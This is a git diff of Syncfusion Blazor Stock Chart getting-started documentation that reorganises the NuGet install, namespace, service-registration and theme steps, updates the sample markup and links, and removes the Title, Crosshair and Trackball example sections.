 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
@@ -137,7 +151,7 @@ N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, registe
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
+The theme stylesheet and the Syncfusion JavaScript library need to be included in your application. The stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
@@ -151,14 +165,14 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart component
 
-Add the Syncfusion Blazor Stock Chart component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Add the Syncfusion Blazor Stock Chart component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/Home.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
 
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* desired render mode defined here *@
 @rendermode InteractiveAuto
 
 {% endhighlight %}
@@ -181,6 +195,12 @@ To bind data for the Stock Chart component, assign a `IEnumerable` object to the
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+<SfStockChart>
+    <StockChartSeriesCollection>
+        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Candle" XName="Date" High="High" Low="Low" Open="Open" Close="Close" Volume="Volume"></StockChartSeries>
+    </StockChartSeriesCollection>
+</SfStockChart>
+
 @code{
     public class StockChartData
     {
@@ -194,169 +214,29 @@ To bind data for the Stock Chart component, assign a `IEnumerable` object to the
 
     public List<StockChartData> StockDetails = new List<StockChartData>
     {
-        new StockChartData { Date = new DateTime(2012, 04, 02), Open = 85.9757, High = 90.6657, Low = 85.7685, Close = 90.5257, Volume = 660187068},
-        new StockChartData { Date = new DateTime(2012, 04, 09), Open = 89.4471, High = 92, Low = 86.2157, Close = 86.4614, Volume = 912634864},
-        new StockChartData { Date = new DateTime(2012, 04, 16), Open = 87.1514, High = 88.6071, Low = 81.4885, Close = 81.8543, Volume = 1221746066},
-        new StockChartData { Date = new DateTime(2012, 04, 23), Open = 81.5157, High = 88.2857, Low = 79.2857, Close = 86.1428, Volume = 965935749},
-        new StockChartData { Date = new DateTime(2012, 04, 30), Open = 85.4, High =  85.4857, Low = 80.7385, Close = 80.75, Volume = 615249365},
-        new StockChartData { Date = new DateTime(2012, 05, 07), Open = 80.2143, High = 82.2685, Low = 79.8185, Close = 80.9585, Volume = 541742692},
-        new StockChartData { Date = new DateTime(2012, 05, 14), Open = 80.3671, High = 81.0728, Low = 74.5971, Close = 75.7685, Volume = 708126233},
-        new StockChartData { Date = new DateTime(2012, 05, 21), Open = 76.3571, High = 82.3571, Low = 76.2928, Close = 80.3271, Volume = 682076215},
-        new StockChartData { Date = new DateTime(2012, 05, 28), Open = 81.5571, High = 83.0714, Low = 80.0743, Close = 80.1414, Volume = 480059584},
+        new StockChartData { Date = new DateTime(2012, 04, 02), Open = 85.9757, High = 90.6657, Low = 85.7685, Close = 90.5257, Volume = 660187068 },
+        new StockChartData { Date = new DateTime(2012, 04, 09), Open = 89.4471, High = 92, Low = 86.2157, Close = 86.4614, Volume = 912634864 },
+        new StockChartData { Date = new DateTime(2012, 04, 16), Open = 87.1514, High = 88.6071, Low = 81.4885, Close = 81.8543, Volume = 1221746066 },
+        new StockChartData { Date = new DateTime(2012, 04, 23), Open = 81.5157, High = 88.2857, Low = 79.2857, Close = 86.1428, Volume = 965935749 },
+        new StockChartData { Date = new DateTime(2012, 04, 30), Open = 85.4, High =  85.4857, Low = 80.7385, Close = 80.75, Volume = 615249365 },
+        new StockChartData { Date = new DateTime(2012, 05, 07), Open = 80.2143, High = 82.2685, Low = 79.8185, Close = 80.9585, Volume = 541742692 },
+        new StockChartData { Date = new DateTime(2012, 05, 14), Open = 80.3671, High = 81.0728, Low = 74.5971, Close = 75.7685, Volume = 708126233 },
+        new StockChartData { Date = new DateTime(2012, 05, 21), Open = 76.3571, High = 82.3571, Low = 76.2928, Close = 80.3271, Volume = 682076215 },
+        new StockChartData { Date = new DateTime(2012, 05, 28), Open = 81.5571, High = 83.0714, Low = 80.0743, Close = 80.1414, Volume = 480059584 }
     };
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-Now set the `StockDetails` to [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartSeries.html#Syncfusion_Blazor_Charts_StockChartSeries_DataSource) property. By default, Stock Chart will be rendered based on the provided `Date` and `High` fields value from datasource without any mapping.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfStockChart>
-    <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Candle" XName="Date" YName="Close" High="High" Low="Low" Open="Open" Close="Close" Volume="Volume"></StockChartSeries>
-    </StockChartSeriesCollection>
-</SfStockChart>
-
-{% endhighlight %}
-{% endtabs %}
-
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNBTZWAXpJFtLYFv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart Component](images/blazor-stock-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVHjeVNVEQConrD?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" backgroundimage "[Blazor Stock Chart Component](images/blazor-stock-chart.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/StockChart).
 
-## Adding Title
-
-A title using [Title](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfStockChart.html#Syncfusion_Blazor_Charts_SfStockChart_Title) property can be added in the Stock Chart, to provide quick information to the user about the data plotted in the component.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfStockChart Title="AAPL Historical">
-    <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Candle" XName="Date" YName="Close" High="High" Low="Low" Open="Open" Close="Close" Volume="Volume"></StockChartSeries>
-    </StockChartSeriesCollection>
-</SfStockChart>
-
-@code {
-    public class ChartData
-    {
-        public DateTime Date { get; set; }
-        public Double Open { get; set; }
-        public Double Low { get; set; }
-        public Double Close { get; set; }
-        public Double High { get; set; }
-        public Double Volume { get; set; }
-    }
-
-    public List<ChartData> StockDetails = new List<ChartData>
-    {
-        new ChartData { Date = new DateTime(2012, 04, 02), Open= 85.9757, High = 90.6657,Low = 85.7685, Close = 90.5257,Volume = 660187068},
-        new ChartData { Date = new DateTime(2012, 04, 09), Open= 89.4471, High = 92,Low = 86.2157, Close = 86.4614,Volume = 912634864},
-        new ChartData { Date = new DateTime(2012, 04, 16), Open= 87.1514, High = 88.6071,Low = 81.4885, Close = 81.8543,Volume = 1221746066},
-        new ChartData { Date = new DateTime(2012, 04, 23), Open= 81.5157, High = 88.2857,Low = 79.2857, Close = 86.1428,Volume = 965935749},
-        new ChartData { Date = new DateTime(2012, 04, 30), Open= 85.4, High =  85.4857,Low = 80.7385, Close = 80.75,Volume = 615249365},
-        new ChartData { Date = new DateTime(2012, 05, 07), Open= 80.2143, High = 82.2685,Low = 79.8185, Close = 80.9585,Volume = 541742692},
-        new ChartData { Date = new DateTime(2012, 05, 14), Open= 80.3671, High = 81.0728,Low = 74.5971, Close = 75.7685,Volume = 708126233},
-        new ChartData { Date = new DateTime(2012, 05, 21), Open= 76.3571, High = 82.3571,Low = 76.2928, Close = 80.3271,Volume = 682076215},
-        new ChartData { Date = new DateTime(2012, 05, 28), Open= 81.5571, High = 83.0714,Low = 80.0743, Close = 80.1414,Volume = 480059584}
-   };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZrJtMKjTJvplKeq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart with Title](images/blazor-stock-chart-title.png)" %}
-
-## Adding Crosshair
-
-The crosshair is a vertical and horizontal line on the view that shows the value of an axis when the mouse or touch is in a certain position. The crosshair lines can be enabled by using [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html#Syncfusion_Blazor_Charts_StockChartCrosshairSettings_Enable) property in the [StockChartCrosshairSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html). Likewise tooltip label for an axis can be enabled by using [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html#Syncfusion_Blazor_Charts_StockChartTooltipSettings_Enable) property in the [StockChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html).
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfStockChart>
-    <StockChartCrosshairSettings Enable="true"></StockChartCrosshairSettings>
-    <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Column" XName="Date" YName="Y"></StockChartSeries>
-    </StockChartSeriesCollection>
-</SfStockChart>
-
-@code {
-    public class ChartData
-    {
-        public DateTime Date { get; set; }
-        public Double Y { get; set; }
-    }
-
-    public List<ChartData> StockDetails = new List<ChartData>
-    {
-         new ChartData { Date = new DateTime(2012, 04, 02), Y= 100},
-         new ChartData { Date = new DateTime(2012, 04, 09), Y= 10 },
-         new ChartData { Date = new DateTime(2012, 04, 16), Y= 500},
-         new ChartData { Date = new DateTime(2012, 04, 23), Y= 80 },
-         new ChartData { Date = new DateTime(2012, 04, 30), Y= 200},
-         new ChartData { Date = new DateTime(2012, 05, 07), Y= 600},
-         new ChartData { Date = new DateTime(2012, 05, 14), Y= 50 },
-         new ChartData { Date = new DateTime(2012, 05, 21), Y= 700},
-         new ChartData { Date = new DateTime(2012, 05, 28), Y= 90 }
-   };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZhTtsANzJEKAOXS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart with Crosshair](images/blazor-stock-chart-with-crosshair.png)" %}
-
-## Adding Trackball
-
-The trackball is used to track a closest data point to the mouse or touch position. The trackball marker indicates the closest point and trackball tooltip displays the information about the point. It can be enabled by setting the [Enable](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html#Syncfusion_Blazor_Charts_StockChartCrosshairSettings_Enable) property in the [StockChartCrosshairSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartCrosshairSettings.html) to **true** and [Shared](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html#Syncfusion_Blazor_Charts_StockChartTooltipSettings_Shared) property in the [StockChartTooltipSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartTooltipSettings.html) to **true** in component.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfStockChart>
-    <StockChartCrosshairSettings Enable="true" LineType="LineType.Vertical"></StockChartCrosshairSettings>
-    <StockChartTooltipSettings Enable="true" Shared="true" Format="${point.x} : ${point.y}" Header="AAPL"></StockChartTooltipSettings>
-    <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Line" XName="Date" YName="Y"></StockChartSeries>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Line" XName="Date" YName="Y1"></StockChartSeries>
-    </StockChartSeriesCollection>
-</SfStockChart>
-
-@code {
-    public class ChartData
-    {
-        public DateTime Date { get; set; }
-        public Double Y { get; set; }
-        public Double Y1 { get; set; }
-    }
-
-    public List<ChartData> StockDetails = new List<ChartData>
-    {
-         new ChartData { Date = new DateTime(2012, 04, 02), Y= 100, Y1= 50},
-         new ChartData { Date = new DateTime(2012, 04, 09), Y= 10 , Y1= 5},
-         new ChartData { Date = new DateTime(2012, 04, 16), Y= 500, Y1= 250},
-         new ChartData { Date = new DateTime(2012, 04, 23), Y= 80 , Y1= 60},
-         new ChartData { Date = new DateTime(2012, 04, 30), Y= 200, Y1= 100},
-         new ChartData { Date = new DateTime(2012, 05, 07), Y= 600, Y1= 300},
-         new ChartData { Date = new DateTime(2012, 05, 14), Y= 50 , Y1= 25},
-         new ChartData { Date = new DateTime(2012, 05, 21), Y= 700, Y1= 350},
-         new ChartData { Date = new DateTime(2012, 05, 28), Y= 90 , Y1= 45}
-   };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtrfXCgjzINVMeUY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Stock Chart with Trackball](images/blazor-stock-chart-trackball.png)" %}
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
\ No newline at end of file
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor in Blazor WebAssembly App](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor in Blazor Web App](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
diff --git a/blazor/stock-chart/getting-started.md b/blazor/stock-chart/getting-started.md
index f3e50ede6e..0f9ba2c44b 100644
--- a/blazor/stock-chart/getting-started.md
+++ b/blazor/stock-chart/getting-started.md
@@ -3,15 +3,13 @@ layout: post
 title: Getting Started with Blazor Stock Chart Component | Syncfusion
 description: Checkout and learn about getting started with Blazor Stock Chart component in Blazor WebAssembly Application.
 platform: Blazor
-control: Stock Chart
+component: Stock Chart
 documentation: ug
 ---
 
 # Getting Started with Blazor Stock Chart Component
 
-This section briefly explains about how to include [Blazor Stock Chart](https://www.syncfusion.com/blazor-components/blazor-stock-chart) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with Blazor Stock Chart component, refer this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/StockChart) sample.
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart](https://www.syncfusion.com/blazor-components/blazor-stock-chart) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get start quickly with Blazor Stock Chart component, refer this [GitHub](http
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor StockChart and Themes NuGet in the App
-
-To add the **Blazor Stock Chart** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.StockChart](https://www.nuget.org/packages/Syncfusion.Blazor.StockChart) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.StockChart -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor StockChart and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.StockChart](https://www.nuget.org/packages/Syncfusion.Blazor.StockChart) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.StockChart -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,32 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor StockChart and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install the [Syncfusion.Blazor.StockChart](https://www.nuget.org/packages/Syncfusion.Blazor.StockChart/) and the [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.StockChart --version {{ site.releaseversion }}), or the .NET CLI.
 
-To add the **Blazor Stock Chart** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.StockChart](https://www.nuget.org/packages/Syncfusion.Blazor.StockChart/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.StockChart -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.StockChart -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontents %}
+## Add import namespaces
 
-## Add Import Namespaces
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +131,26 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and the Syncfusion JavaScript library need to be included in your application. The stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file (this is the root HTML file of your application).
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Stock Chart component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Charts
 
 <SfStockChart>
 
@@ -206,69 +164,18 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Stock Chart comp
 To bind data for the Stock Chart component, assign a `IEnumerable` object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartSeries.html#Syncfusion_Blazor_Charts_StockChartSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
 
 {% tabs %}
-{% highlight razor %}
-
-@code{
-    public class StockChartData
-    {
-        public DateTime Date { get; set; }
-        public Double Open { get; set; }
-        public Double Low { get; set; }
-        public Double Close { get; set; }
-        public Double High { get; set; }
-        public Double Volume { get; set; }
-    }
-
-    public List<StockChartData> StockDetails = new List<StockChartData>
-    {
-        new StockChartData { Date = new DateTime(2012, 04, 02), Open = 85.9757, High = 90.6657, Low = 85.7685, Close = 90.5257, Volume = 660187068},
-        new StockChartData { Date = new DateTime(2012, 04, 09), Open = 89.4471, High = 92, Low = 86.2157, Close = 86.4614, Volume = 912634864},
-        new StockChartData { Date = new DateTime(2012, 04, 16), Open = 87.1514, High = 88.6071, Low = 81.4885, Close = 81.8543, Volume = 1221746066},
-        new StockChartData { Date = new DateTime(2012, 04, 23), Open = 81.5157, High = 88.2857, Low = 79.2857, Close = 86.1428, Volume = 965935749},
-        new StockChartData { Date = new DateTime(2012, 04, 30), Open = 85.4, High =  85.4857, Low = 80.7385, Close = 80.75, Volume = 615249365},
-        new StockChartData { Date = new DateTime(2012, 05, 07), Open = 80.2143, High = 82.2685, Low = 79.8185, Close = 80.9585, Volume = 541742692},
-        new StockChartData { Date = new DateTime(2012, 05, 14), Open = 80.3671, High = 81.0728, Low = 74.5971, Close = 75.7685, Volume = 708126233},
-        new StockChartData { Date = new DateTime(2012, 05, 21), Open = 76.3571, High = 82.3571, Low = 76.2928, Close = 80.3271, Volume = 682076215},
-        new StockChartData { Date = new DateTime(2012, 05, 28), Open = 81.5571, High = 83.0714, Low = 80.0743, Close = 80.1414, Volume = 480059584},
-    };
-}
+{% highlight razor tabtitle="Home.razor" %}
 
-{% endhighlight %}
-{% endtabs %}
-
-Now set the `StockDetails` to [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.StockChartSeries.html#Syncfusion_Blazor_Charts_StockChartSeries_DataSource) property. By default, Stock Chart will be rendered based on the provided `Date` and `High` fields value from datasource without any mapping.
-
-{% tabs %}
-{% highlight razor %}
+@using Syncfusion.Blazor.Charts
 
 <SfStockChart>
     <StockChartSeriesCollection>
-        <StockChartSeries DataSource="@StockDetails" Type="ChartSeriesType.Candle" XName="Date" YName="Close" High="High" Low="Low" Open="Open" Close="Close" Volume="Volume"></StockChartSeries>
-    </StockChartSeriesCollection>
-</SfStockChart>
-
-{% endhighlight %}
-{% endtabs %}
-
